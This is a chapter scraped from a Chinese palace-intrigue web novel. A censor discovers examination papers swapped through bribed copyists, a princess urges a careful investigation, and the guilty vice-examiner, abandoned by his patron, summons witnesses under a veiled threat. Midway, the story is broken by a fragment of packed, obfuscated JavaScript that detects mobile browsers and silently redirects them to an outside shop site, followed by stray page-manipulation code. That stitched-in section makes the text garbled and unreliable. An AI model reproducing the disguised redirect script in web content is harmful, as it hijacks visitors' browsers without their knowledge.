文趣网 > 其他小说 > 弃凤归巢,权倾九五 > 51. 李元培的疑惑
    贡院值房的烛火,又燃了一夜。

    李元培坐在堆积如山的卷宗中间,眼睛布满血丝。他面前摊开着两份卷子——左边是墨卷,右边是对应的朱卷副本。戊字三十四号,陆明。

    墨卷上的馆阁体清秀有力,策论中关于整顿吏治的建言,条理清晰,切中时弊。李元培记得自己初阅时,曾在这段文字旁批了一个“佳”字。可右边朱卷上的文章,却变成了四平八稳、毫无锋芒的平庸之作,字迹虽是誊录生的工整小楷,但文气全无。

    这不是誊录失误。

    李元培又翻开戊字七号的卷子——今科状元陈继儒的座位。墨卷字迹轻浮,文章空洞,通篇堆砌辞藻。可对应的朱卷,却成了辞采斐然的佳作。他记得钱益在定榜时,曾指着这份朱卷赞道:“此子文采飞扬,当为魁首。”

    烛火跳动了一下。

    李元培缓缓放下卷子,手指在桌面上轻轻敲击。他已经核对了十七份卷子,其中九份存在这种诡异的“差异”——落榜者的墨卷才华横溢,朱卷却平庸乏味;高中者的墨卷粗陋不堪,朱卷却文采斐然。

    这不是偶然。

    他站起身,走到窗前。天色已经微明,贡院的飞檐在晨光中勾勒出沉默的轮廓。远处传来更夫敲响五更的梆子声,清脆,悠长,在空旷的街道上回荡。

    “大人。”书吏在门外轻声唤道,“您要的誊录生名册和轮值记录。”

    “进来。”

    书吏捧着一摞册子走进来,放在书案上。李元培翻开最上面那本——誊录房三月以来的轮值记录。他的目光在几个名字上停留:王三、李四、赵五……都是些不起眼的小吏。

    “这些誊录生,现在何处?”

    “回大人,春闱结束后,誊录房便解散了。这些人各回原衙门当差,或是回家待命。”书吏顿了顿,“不过……”

    “不过什么?”

    书吏压低声音:“小人听说,有几个誊录生这几日突然阔绰起来。王三前日还在东市买了处小院,李四给家里添了两头牛。”

    李元培眼神一凝。

    他合上册子,沉默片刻,道:“你去吧。今日之事,不得外传。”

    “小人明白。”

    书吏退下后,值房里又恢复了寂静。李元培坐回椅中,闭上眼睛。晨光透过窗纸,在他脸上投下斑驳的光影。他想起自己三十年前中进士时的场景——金榜题名,跨马游街,父亲在人群中老泪纵横。那时他发誓,有朝一日若能为朝廷选拔人才,定要公平公正,不负寒窗苦读。

    可现在……

    他睁开眼,从暗格里取出那张素笺。上面只有寥寥数字:“巳时三刻,清心茶舍,天字三号。”

    这是昨日老仆带回的回信。

    李元培将素笺凑近烛火,看着它缓缓燃成灰烬。灰烬落在青砖地上,像一只死去的蝴蝶。

    ---

    清心茶舍位于城南一条僻静的小巷里。门面不大,招牌陈旧,但里面收拾得干净雅致。天字三号是一间临窗的雅室,推开窗便能看见后院的一株老梅——花期已过,只剩满树绿叶在春风中摇曳。

    康怡到得早。

    她今日穿了一身素雅的月白襦裙,外罩淡青色比甲,头上只簪了一支白玉簪子。苏婉陪在她身边,正在沏茶。茶是明前龙井,茶叶在青瓷盏中缓缓舒展,散发出清冽的香气。

    “殿下,李大人会来吗?”苏婉轻声问。

    “会。”康怡端起茶盏,轻轻吹了吹浮沫,“他是个正直的人。正直的人,眼里容不得沙子。”

    窗外传来脚步声。

    苏婉起身开门,李元培站在门外。他今日穿了常服——一件深蓝色直裰,头戴方巾,看起来像个寻常的老儒生。只是那双眼睛,依然锐利如鹰。

    “李大人请进。”康怡起身相迎。

    李元培走进雅室,目光在室内扫过。窗明几净,茶香袅袅,墙上挂着一幅山水画,笔意疏淡。他微微颔首,在康怡对面坐下。

    苏婉奉上茶,便退到门外守着。

    “长公主殿下。”李元培开口,声音有些沙哑,“老臣冒昧相邀,实是有要事相询。”

    “李大人不必客气。”康怡将茶盏推到他面前,“尝尝这茶,是今年新贡的龙井。”

    李元培端起茶盏,却没有喝。他沉默片刻,直截了当地道:“殿下,春闱放榜后,老臣复核落榜试卷,发现了一些……蹊跷之处。”

    康怡抬眼看他:“哦?”

    “有几份落榜墨卷,文章极佳,可对应的朱卷却平庸不堪。”李元培的声音压得很低,“而几份高中者的墨卷粗陋,朱卷却文采斐然。老臣核对了誊录记录,发现这些卷子,都经过同一批誊录生之手。”

    雅室里安静下来。

    只有窗外的风声,和茶盏中茶叶舒展的细微声响。

    康怡缓缓放下茶盏,青瓷与木桌相触,发出清脆的“叮”声。她看着李元培,眼神平静,却带着一种洞悉一切的深邃。

    “李大人怀疑什么?”

    “老臣怀疑……”李元培深吸一口气,“有人在誊录环节做了手脚。调换试卷,偷梁换柱。”

    他说出这句话时,手指微微颤抖。三十年的信念,在这一刻出现了裂痕。

    康怡没有立刻回答。她站起身,走到窗边。后院的老梅在风中摇曳,叶片摩擦发出沙沙的声响。阳光透过枝叶,在地上投下细碎的光斑。

    “李大人,”她转过身,声音很轻,“您可知道,今科高中者中,有几人出身寒门?”

    李元培一愣,随即道:“三百名进士,寒门出身者……不足三十。”

    “那您可知道,副主考钱益钱大人,最近在城西新置了一处宅院?”康怡继续问,“三进三出,带花园假山,价值不下五千两。”

    李元培的脸色变了。

    “还有今科状元陈继儒,”康怡走回桌边,重新坐下,“他的父亲是扬州盐商,去年曾向钱大人‘孝敬’过一批古玩字画。榜眼张怀远,其叔父是吏部考功司郎中,与钱大人是同年。探花刘文彬……”

    她一连说了七个名字。

    每一个名字背后,都牵扯着复杂的关系网,或钱财,或人情,或权力交换。

    李元培的手紧紧攥住茶盏,指节发白。茶盏中的茶水微微晃动,映出他铁青的脸。

    “殿下如何得知这些?”

    康怡微微一笑:“李大人,这世上没有不透风的墙。钱大人做事,也算不上多么隐秘。”

    她没有说破自己重生的秘密,也没有提及陈三那个关键的证人。有些底牌,要留到最关键的时刻。

    李元培沉默了。

    雅室里的茶香渐渐淡去,取而代之的是一种压抑的凝重。窗外的阳光移动了些许,照在李元培花白的鬓角上,那些白发在光下格外刺眼。

    良久,他缓缓开口:“殿下以为,此事该如何处置?”

    “查。”康怡只说了一个字。

    “如何查?”

    “先从那些高中者的背景查起。”康怡道,“查他们考前与谁接触过,家中最近有无异常开支。再查钱大人的财务——他一个四品官,俸禄几何?如何买得起城西的宅院?还有那些突然阔绰起来的誊录生,他们的钱从何而来?”

    她顿了顿,声音更轻了些:“李大人,此事牵涉的恐怕不止钱益一人。您若真要查,需得谨慎。打草惊蛇,反而会让他们销毁证据,甚至……对您不利。”

    李元培抬起头,看着康怡。

    眼前的女子不过双十年华,面容清丽,眼神却沉静得不像这个年纪该有的。她说话条理清晰,句句切中要害,对官场规则、人心算计的了解,远超寻常闺阁女子。

    他忽然想起一些传闻——关于这位长公主在冬赈中的作为,关于她暗中庇护灾民,关于她与镇北侯世子的往来,关于她府中那位神秘的谋士沈青崖。

    也许,他找对人了。

    “殿下,”李元培站起身,郑重地躬身一礼,“老臣为官三十载,自问对得起天地良心。今日既知此事,断不能坐视不理。科举乃国家抡才大典,若连这里都污浊不堪,大周还有何希望?”

    他直起身,眼中燃起一团火:“老臣会按殿下所言,暗中调查。若查实证据,纵使粉身碎骨,也要上奏天听,弹劾到底!”

    康怡也站起身,还了一礼:“李大人高义。只是……”

    “殿下请讲。”

    “此事不宜操之过急。”康怡道,“钱益背后,恐怕还有人。李大人调查时,切莫单独行动,身边需有可靠之人护卫。若有需要,可派人到怡兰轩寻苏婉。”

    李元培深深看了她一眼,点了点头。

    “老臣明白。”

    两人又说了几句闲话,李元培便告辞离去。苏婉送他出门,回来时,见康怡仍站在窗边,望着那株老梅出神。

    “殿下,”苏婉轻声道,“李大人会成功吗?”

    “他会查到证据的。”康怡没有回头,“但能不能扳倒钱益,还要看钱益背后的人,肯不肯保他。”

    “您是说……严首辅?”

    康怡笑了笑,没有回答。

    窗外的风大了些,老梅的枝叶剧烈摇晃起来。一片叶子被风吹落,在空中打了几个旋,最终落在青石地上。

    山雨欲来。

    ---

    钱益觉得最近有些不对劲。

    先是礼部衙门里,几个平时对他毕恭毕敬的小吏,看他的眼神有些闪烁。再是前日去严府拜见,门房说首辅大人身体不适,不见客——可他明明看见严嵩的轿子刚从宫里回来。

    今日更怪。

    他下朝回府,轿子经过青云街时,看见李元培从清心茶舍出来。老御史穿着常服,行色匆匆,钻进一顶青布小轿就走了。钱益心里咯噔一下——清心茶舍那种地方,李元培去做什么?

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584617|205182||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >回到府中,他越想越不安。

    “老爷,”管家凑过来,“城西那处宅子,工匠说还要五百两银子,才能把花园的假山修完。”

    “修什么修!”钱益烦躁地挥手,“先停着!”

    管家一愣,不敢多言,躬身退下。

    钱益在书房里踱步。书房布置得极为奢华——紫檀木书案,黄花梨书架,墙上挂着名家字画,多宝阁上摆着古玩玉器。这些都是今年春闱的“收获”。

    他走到书案前,拉开暗格,里面是一本账册。翻开,密密麻麻记录着收受的贿赂:陈继儒之父,白银八千两,古玩若干;张怀远之叔,白银五千两,田契两张;刘文彬之岳父……

    一共十七笔,总计六万八千两白银。

    钱益的手有些发抖。

    他合上账册,重新锁进暗格。窗外天色渐暗,书房里没有点灯,阴影从角落蔓延开来,将他整个人笼罩其中。

    不行。

    他得去找严嵩。

    钱益换了身衣服,乘轿来到严府。这次门房没有拦他,直接引他到书房。严嵩正在写字,见他进来,头也没抬。

    “下官参见首辅大人。”钱益躬身行礼。

    严嵩没有回应。他提着笔,在宣纸上缓缓写下一个“静”字。笔力苍劲,墨迹淋漓,最后一笔拖得很长,像一把出鞘的剑。

    写完,他才放下笔,抬眼看向钱益。

    “何事?”

    钱益被他看得心里发毛,硬着头皮道:“大人,下官……下官觉得,最近有些不对劲。”

    “哦?”严嵩在太师椅上坐下,端起茶盏,“哪里不对劲?”

    “李元培……李御史似乎在查春闱的事。”钱益压低声音,“下官今日看见他从清心茶舍出来,行色匆匆。而且,贡院那边传来消息,说李元培这几日一直在调阅誊录档案,核对墨卷朱卷……”

    严嵩喝茶的动作顿了一下。

    茶盏与杯盖相碰,发出清脆的声响。书房里只点了一盏灯,光线昏暗,严嵩的脸在阴影中半明半暗,看不清表情。

    “你怕了?”他问。

    钱益额头冒汗:“下官……下官是担心,万一李元培查到什么……”

    “查到什么?”严嵩打断他,“春闱阅卷,是你副主考职责所在。誊录环节若有疏漏,也是誊录房的责任。与你何干?”

    “可是那些银子……”

    “什么银子?”严嵩抬眼,眼神锐利如刀,“钱大人,说话要谨慎。”

    钱益浑身一颤,不敢再言。

    严嵩放下茶盏,站起身,走到窗边。窗外夜色已浓,严府花园里的灯笼次第亮起,在黑暗中勾勒出亭台楼阁的轮廓。

    “康王殿下最近,与老夫有些龃龉。”他忽然开口,声音很轻,却让钱益心头一紧,“殿下觉得,老夫管得太宽了。他想自己培植势力,不想再受老夫掣肘。”

    钱益不敢接话。

    “所以啊,”严嵩转过身,看着钱益,“有些事,你得自己料理干净。手脚不干净,留下把柄,到时候谁也保不住你。”

    他的语气很平静,甚至带着一丝倦意。但钱益听出了其中的寒意——那是弃子的寒意。

    “下官……明白。”钱益的声音有些发干。

    “明白就好。”严嵩挥挥手,“去吧。记住,最近安分些。李元培要查,就让他查。只要证据销毁干净,他查不出什么。”

    钱益躬身退下。

    走出严府时,夜风很凉。他打了个寒颤,抬头看向夜空——没有月亮,只有几颗稀疏的星子,在厚重的云层间若隐若现。

    轿夫抬起轿子,轿身摇晃。钱益坐在轿中,手心全是冷汗。

    他想起严嵩最后那句话——“手脚不干净,自行料理”。

    自行料理。

    怎么料理?

    李元培是御史中丞,清流领袖,深得皇帝信任。若真被他查到证据,一本参上去,自己这顶乌纱帽恐怕保不住,说不定还要掉脑袋。

    钱益闭上眼睛,脑海中闪过几个名字:王三、李四、赵五……那些誊录生。

    还有陈三——那个在誊录房打杂的老吏,那日似乎看见了什么。

    轿子停在钱府门前。

    钱益走下轿,对迎上来的管家低声道:“去,把王三、李四、赵五找来。还有……誊录房那个陈三。”

    管家一愣:“老爷,现在?”

    “现在。”钱益的声音很冷,“告诉他们,老爷有要事相商。若不肯来……你知道该怎么做。”

    管家看着钱益阴沉的脸色,不敢多问,匆匆离去。

    钱益站在府门前,抬头看向门楣上那块“进士及第”的匾额。匾额是二十年前他中进士时御赐的,金漆已经有些斑驳,但在灯笼的光照下,依然熠熠生辉。

    他看了很久,然后转身,走进府中。

    大门在身后缓缓关闭,将夜色隔绝在外。